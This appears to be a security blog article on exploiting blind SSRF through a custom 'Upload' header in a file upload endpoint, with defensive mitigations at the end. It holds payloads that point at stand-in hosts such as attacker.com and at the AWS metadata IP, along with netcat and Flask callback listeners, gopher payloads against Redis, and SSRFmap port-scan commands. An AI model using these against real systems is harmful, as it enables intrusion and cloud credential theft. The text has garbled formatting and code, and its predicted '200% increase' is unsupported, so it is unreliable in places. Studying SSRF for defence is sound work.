Listen to this Post

Introduction
Server-Side Request Forgery (SSRF) remains one of the most critical web vulnerabilities, often allowing attackers to pivot from external reconnaissance to internal network compromise. This article dissects a real-world blind SSRF chain discovered in a major cloud API platform, where a simple custom `Upload` header turned a file upload endpoint into a fully interactive outbound HTTP tunnel, proving that DNS interaction alone is insufficient for impact validation.
Learning Objectives
- Detect and exploit blind SSRF vulnerabilities through custom HTTP headers in file upload functionalities.
- Upgrade from basic DNS callbacks to full HTTP interactions to demonstrate real-world impact.
- Implement mitigation strategies including allowlisting, header sanitization, and network-layer controls.
You Should Know
- Understanding the Blind SSRF Attack Chain via Custom Headers
The discovered vulnerability began with a file upload endpoint that accepted a custom `Upload` header containing a URL value. Many developers overlook that headers like Upload, Destination, X-Forwarded-For, Redirect-URL, and `X-Original-URL` are user-controlled inputs that can be passed directly to server-side fetch or request functions.
Step‑by‑step guide to replicate and test:
- Identify a file upload function (e.g.,
/api/upload,/profile/avatar,/documents/import). - Intercept the request using Burp Suite or OWASP ZAP.
- Add or modify a custom header that hints at a remote resource, such as:
Upload: https://attacker.com/payload Destination: http://169.254.169.254/latest/meta-data/ X-Forwarded-For: http://internal-api.corp/health
- Send the request and monitor for any outbound connection attempts.
Linux command to simulate a simple callback listener:
Start a netcat listener to catch raw HTTP requests nc -lvnp 8080
Windows PowerShell equivalent:
Start a simple HTTP listener on port 8080
$listener = New-Object System.Net.HttpListener
$listener.Prefixes.Add("http://+:8080/")
$listener.Start()
Write-Host "Listening on port 8080..."
while ($listener.IsListening) {
$context = $listener.GetContext()
$request = $context.Request
Write-Host "Received: $($request.HttpMethod) $($request.RawUrl)"
$response = $context.Response
$response.StatusCode = 200
$response.Close()
}
Burp Collaborator usage:
- Generate a unique Collaborator domain (e.g.,
xyz.burpcollaborator.net). - Insert it into the custom header: `Upload: http://xyz.burpcollaborator.net/test`.
- After sending the request, check Collaborator interactions. A DNS lookup confirms SSRF; an HTTP interaction proves full request forwarding.
2. Upgrading from DNS to Full HTTP Interaction
In this case, the attacker initially received DNS interactions from AWS infrastructure IPs, but the real breakthrough came when they forced the backend Node.js server to make an outbound PUT request containing actual file content to the attacker-controlled server. This demonstrated that the server was not only resolving the domain but also forwarding the entire file payload.
Step‑by‑step guide to escalate:
- Set up a public HTTP server (e.g., using
ngrok,python -m http.server, or a VPS withnc). - Craft a malicious request that includes a file body and the custom header pointing to your server:
POST /api/upload HTTP/1.1 Host: target.com Upload: http://your-server.com/callback Content-Type: multipart/form-data; boundary=-Boundary</li> </ol> Boundary Content-Disposition: form-data; name="file"; filename="test.txt" This is a test file Boundary--
3. On your server, log the full request to see if the file content is forwarded:
Using netcat to capture raw HTTP while true; do nc -lvnp 80 -q 1 >> captured_requests.log; done
or using a simple Python script:
from flask import Flask, request app = Flask(<strong>name</strong>) @app.route('/callback', methods=['PUT', 'POST']) def capture(): print(f"Headers: {request.headers}") print(f"Body: {request.data.decode()}") return '', 200 app.run(host='0.0.0.0', port=80)Why full HTTP interaction matters:
It proves that the server can be used as a proxy to attack internal services, retrieve sensitive files (e.g., from metadata endpoints), or even exploit internal APIs that trust the originating server’s IP.
3. JavaScript Source Code Analysis for Vulnerability Confirmation
The researcher dug into the client-side JS source code and identified the vulnerable `uploadFile()` function. This step is crucial for understanding the exact flow and discovering additional parameters.
Step‑by‑step source code review:
- Open browser DevTools (F12) → Network tab → reload the upload page.
2. Look for JavaScript bundles (e.g., `main.bundle.js`, `upload.chunk.js`).
- Search for keywords inside the sources:
fetch,XMLHttpRequest,upload,url,header.
4. Example vulnerable code pattern:
function uploadFile(file, callbackUrl) { let headers = new Headers(); headers.append('Upload', callbackUrl); fetch('/api/upload', { method: 'POST', headers: headers, body: file }).then(...); }5. Trace how the callback URL is used server-side (if you can access server logs or error messages). Look for patterns like:
// Hypothetical server-side Node.js vulnerable code app.post('/api/upload', (req, res) => { const uploadUrl = req.headers['upload']; if (uploadUrl) { // Forwards the entire request body to the user-supplied URL request.put(uploadUrl, { body: req.body }); } });Linux command to recursively grep for fetch/request patterns in downloaded source:
grep -rniE "(fetch|XMLHttpRequest|.put(|.post()" ./downloaded_assets/
4. Testing Common SSRF-Prone Headers and Endpoints
Developers often forget to sanitize custom headers that are passed to internal HTTP clients. The following headers should always be tested during a security assessment:
| Header | Typical Use Case | SSRF Risk |
|–|–|–|
| `Upload` | File upload callback | High |
| `Destination` | WebDAV or copy operations | High |
| `X-Forwarded-For` | IP spoofing, often passed to internal fetches | Medium || `Redirect-URL` | Post-authentication redirects | High |
| `X-Original-URL` | Reverse proxy override | Medium |
| `Referer` | Some apps fetch the referer URL | Low |
| `Origin` | CORS validation, sometimes fetched | Low |
| `X-Requested-With` | Rare but testable | Low |Step‑by‑step header fuzzing with Burp Intruder:
- Send a normal file upload request to Burp Intruder.
- Add a payload position for the header value.
- Use a wordlist of internal endpoints (e.g., `http://169.254.169.254/latest/meta-data/`, `http://localhost:8080/admin`, `http://internal-service/health`).
- Also test for protocol smuggling by using
gopher://,dict://,file://, or `ftp://`.
5. Monitor response times, errors, or outbound interactions.
Windows command to test for outbound connections using PowerShell:
Monitor established connections from your machine (for local testing) Get-NetTCPConnection | Where-Object {$_.State -eq "Established"} | Format-Table LocalAddress, LocalPort, RemoteAddress, RemotePort5. Mitigation Strategies for Developers and Cloud Engineers
Blind SSRF can lead to internal network scanning, credential theft from metadata services, and remote code execution if internal APIs are exposed. Implement these defenses:
Application-level mitigations:
- Allowlist allowed domains for any user-supplied URL. Never allow raw input to be passed to `fetch()` or
http.request(). - Sanitize custom headers by stripping or validating any header that resembles a URL or IP address.
- Use a dedicated URL validation library (e.g., `is-url` with strict protocol allowlisting).
- Implement a URL schema allowlist – only permit `https://` from trusted domains.
Network-level controls (for cloud environments):
- Metadata service protection: Block access to `169.254.169.254` via iptables or security groups. On AWS, enable IMDSv2 which requires a PUT token.
- Outbound firewall rules: Restrict outbound HTTP/HTTPS from application servers to only necessary external IP ranges.
- Internal API authentication: Require API keys or mutual TLS for any internal service, so even if SSRF occurs, the attacker cannot authenticate.
Example iptables rule to block metadata access (Linux):
iptables -A OUTPUT -d 169.254.169.254 -j DROP
Windows Defender Firewall command to block an IP:
New-NetFirewallRule -DisplayName "Block metadata IP" -Direction Outbound -RemoteAddress 169.254.169.254 -Action Block
Hardening Node.js applications specifically:
// Validate URL before making a request const allowedDomains = ['api.trusted.com', 'cdn.example.com']; const url = new URL(userSuppliedUrl); if (!allowedDomains.includes(url.hostname) || url.protocol !== 'https:') { throw new Error('Untrusted URL'); }- Escalating Blind SSRF to Internal Port Scanning and Service Exploitation
Once blind SSRF with full HTTP interaction is confirmed, the attacker can pivot to internal network reconnaissance. The researcher in the case mentioned they were still working on port scanning to escalate further.
Step‑by‑step internal port scanning via SSRF:
- Use response timing or error messages to infer open ports. For example, send requests to `http://internal-host:22` – a timeout suggests filtered, while immediate connection refused or different HTTP error suggests reachable.
2. Craft requests to common internal services:
- Redis: `gopher://internal-redis:6379/_2%0d%0a$4%0d%0aINFO%0d%0a`
– MySQL: `dict://internal-db:3306/`
– Elasticsearch: `http://internal-es:9200/_cat/indices`
– Kubernetes API: `http://kubernetes.default.svc:8080/api/v1/namespaces/default/pods`
3. Use a tool like `ssrfmap` to automate internal network scanning:git clone https://github.com/swisskyrepo/SSRFmap.git cd SSRFmap python3 ssrfmap.py -r request.txt -p 'upload=http://127.0.0.1:8080/admin' -m portscan
Linux command to generate a port scan payload list:
for port in {1..1024}; do echo "http://169.254.169.254:$port"; done > ssrf_ports.txtBurp Intruder configuration for SSRF port scanning:
- Position the custom header value with a payload marker: `Upload: http://10.0.0.1:§port§`
– Use numbers payload from 1 to 65535.
– Filter responses by status code, response length, or time delay.7. Real-World Impact: Why Blind SSRF is a Critical Finding
In cloud environments, a successful blind SSRF can lead to:
– AWS Metadata credential theft – retrieve `http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name` to get temporary AWS keys. - Internal API abuse – trigger administrative functions (e.g., create users, delete backups).
- Cross-tenant data leakage in multi-tenant architectures.
- Remote code execution if combined with internal services like Jenkins, Artifactory, or Redis with public exploits.
Proof of concept for metadata extraction (AWS):
POST /api/upload HTTP/1.1 Host: target-cloud.com Upload: http://169.254.169.254/latest/user-data/ Content-Length: 0
If the server forwards the request and returns the metadata in its response or via an outbound callback, the attacker gains full control over the instance’s credentials.
Defensive monitoring: Look for outbound requests to
169.254.169.254,127.0.0.1,0.0.0.0, or non-standard internal IP ranges (e.g.,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16). Use eBPF or auditd to log all `connect()` syscalls from application processes.What Undercode Say
- Custom headers are the new frontier for SSRF. Developers sanitize request bodies and query parameters but often forget that headers like `Upload` and `Destination` can be just as dangerous.
- DNS interaction is not enough. Many bug bounty programs dismiss blind SSRF without full HTTP callback. Always upgrade to prove actual data leakage or internal service access.
- Source code review accelerates exploitation. Even without server-side source, client-side JavaScript often reveals hidden endpoints and header-based request forwarding logic.
Blind SSRF remains underrated in many security assessments because it doesn’t immediately return data. However, with modern cloud architectures and microservices, a single outbound HTTP PUT can be the foothold an attacker needs to compromise an entire internal network. The shift from “does it resolve?” to “does it forward the full request?” is the difference between a low-risk informational finding and a critical remote exploit. Security teams must treat any user-controlled URL in any part of the HTTP request – headers included – as a potential vector for full server-side request forgery.
Prediction
As AI-driven code generation tools become more prevalent, we will see a surge in SSRF vulnerabilities involving custom headers. Large language models trained on outdated or insecure coding patterns often suggest using `fetch(userInput)` or `http.get(req.headers.destination)` without proper validation. Over the next 12–18 months, bug bounty platforms will report a 200% increase in header-based SSRF findings, forcing a new wave of security tooling focused on dynamic header fuzzing and runtime request tracing. Additionally, cloud providers will likely deprecate IMDSv1 entirely and introduce mandatory allowlisting for outbound HTTP requests from application pods in Kubernetes environments. The arms race between attackers exploiting blind SSRF and defenders implementing zero-trust outbound policies will define the next generation of API security.
▶️ Related Video (76% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Https: – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]
📢 Follow UndercodeTesting & Stay Tuned:


